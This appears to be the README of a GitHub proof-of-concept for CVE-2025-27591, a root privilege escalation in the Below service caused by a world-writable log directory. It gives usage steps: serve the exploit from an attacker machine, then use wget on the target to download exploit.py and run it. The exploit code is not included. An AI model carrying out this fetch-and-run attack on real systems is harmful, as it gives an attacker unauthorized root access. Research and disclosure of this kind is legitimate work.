bridgeralderson/cve-2025-27591-pocCVE-2025-27591 is a privilege escalation vulnerability that affected the Below service before version 0.9.0
CVE-2025-27591 is a privilege escalation vulnerability that affected the Below service before version 0.9.0. The issue arose due to the creation of a world-writable directory at /var/log/below. An attacker could exploit this vulnerability by manipulating symlinks within this directory and potentially gain root privileges, making it a significant security concern for local unprivileged users.
This Proof-of-Concept was written for educational and research purposes only.
At the time of writing, no publicly available PoC for this vulnerability existed in the community.Therefore, I decided to responsibly share this implementation in order to fill that gap, contribute tothe security research ecosystem, and raise awareness about the critical nature of insecure filesystem.
From attacker machine:
1-git clone https://github.com/BridgerAlderson/CVE-2025-27591-PoC.git
2-cd CVE-2025-27591-PoC
3-python3 -m http.server 80
From vulnerable system:
1- wget http:///exploit.py
2-python exploit.py
https://www.facebook.com/security/advisories/cve-2025-27591 https://github.com/facebookincubator/below/commit/da9382e6e3e332fd2c3195e22f34977f83f0f1f3
